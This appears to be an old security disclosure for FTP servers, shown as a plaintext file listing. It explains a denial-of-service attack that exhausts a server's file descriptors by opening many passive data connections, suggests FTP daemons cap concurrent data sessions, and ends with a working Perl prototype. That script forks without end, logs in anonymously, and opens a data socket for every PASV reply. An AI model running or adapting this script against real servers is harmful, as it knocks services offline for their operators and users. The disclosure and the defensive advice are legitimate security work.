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80 lines
2.8 KiB
Plaintext
80 lines
2.8 KiB
Plaintext
Who has more free file descriptors & network ports, you or the ftp server ?
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ftpd's which limit connections to 1 per user@host or similar may have some
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defense against this, or if they don't support multiple data connections
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open at the same time. I suspect "many" is the number of ftpd's which are
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vulnderable to this attack so I've made no attempt (except in one case) to
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contact vendors because there are just too many damn vendors, not to mention
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ftpd's! But basically, if the other end has, on average, maximum fd limit
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at 63, allows 50 connections, that's 3000 open fd's. I'm not sure how many
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ftpd's are setup with that many open files as a part of the sytem, but not
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many, I suspect.
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No apologies for using perl(5), I just wanted a quick prototype. It's not
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perfect but then I did't want to spend too much time on this.
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to ftpd maintainers:
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I don't know of any ftp clients which make use of this feature (multiple
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data channels supported concurrently) as the original ftp clients were all
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line-based and only suported one transfer at a time. Maybe this is
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reasonable, but it would be a shame for the default defense to this attack
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to mean you can't use FTP to it's full potential (i.e. start a transfer
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from the current session but keep using the current `login' session, maybe
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to start other transfers, as requried). Triming the number of concurrent
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data sessions to a maximum of 1-5 (by default) would probably be enough,
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with the capability to set this higher/lower as required.
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Darren
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$DOS_HOST="localhost";
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use IO::Socket;
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$pid = $$;
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$num = 0;
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while (1) {
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while (fork) {
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$sock = IO::Socket::INET->new(
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Proto => "tcp",
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PeerAddr => $DOS_HOST,
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PeerPort => "ftp(21)",
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);
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if (!$sock) {
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print "connect failed!\n";
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waitpid -1,0;
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}
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while (<$sock>) {
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print;
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print $sock "USER anonymous\r\n" if (/^220 .*/);
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print $sock "PASS root@\r\n" if (/^331 .*/);
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print $sock "PASV\r\n" if (/^230 .*/);
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if (/^227 .*/) {
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$remote = $_;
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$remote =~ s/^.* [^\d,]*(\d[\d,]+)[^\d,]*$/$1/;
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@bits = split(/,/, $remote);
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if ($#bits eq 5) {
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$remport = $bits[4] * 256 + $bits[5];
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$#bits = 3;
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$remip = join('.', @bits);
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$foo[$num++] = IO::Socket::INET->new(
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Proto => "tcp",
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PeerAddr => $remip,
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PeerPort => "($remport)");
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}
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print $sock "PASV\r\n";
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}
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last if (/^530 .*/);
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}
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waitpid -1,0;
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}
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sleep(5);
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}
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